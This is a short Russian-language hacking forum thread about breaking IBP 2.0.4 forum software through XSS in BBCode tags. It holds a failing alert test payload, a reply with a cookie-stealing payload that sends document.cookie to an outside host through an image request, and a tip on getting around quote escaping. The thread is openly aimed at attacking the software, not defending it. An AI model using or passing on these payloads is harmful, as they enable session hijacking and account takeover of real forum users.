Форум АНТИЧАТ - Взлом IBP 2.0.4 через Xss

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)

- - Взлом IBP 2.0.4 через Xss (https://forum.antichat.xyz/showthread.php?t=11207)

Взлом IBP 2.0.4 через Xss

Решил тут попробывать впервые свои силы для взлома 2.0.4. Читав статью на вашем сайте я ломанул 2.0.0. Trial, но 2.0.4. вызвало проблему. В общем просмотрев форум я через определенное время в начале решил внедрит простой скрипт для теста. Вот он:

Код HTML:

[post=1000[topic=wj style=background:url(javascript:alert("test") ); [/topic]]

[/post]

В итоге получилось что, код в посте не отображаеться, но скрипт не запускаеться.
Кто может подскажите что да как, где ошибка и если есть подкиньте какие нибудь статьи.

Код HTML:

[email]wj@wj[url=http://www.wj.com`=`][/url].com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`

Vot i vsyo ))) avtor - wj )))

Цитата:

[post=1000[topic=wj style=background:url(javascript:alert("test") ); [/topic]]
[/post]

я точно не уверен но помойму форум блокирует " точнее заменяет на &quot
оставь просто :alert()

Спасибо всем.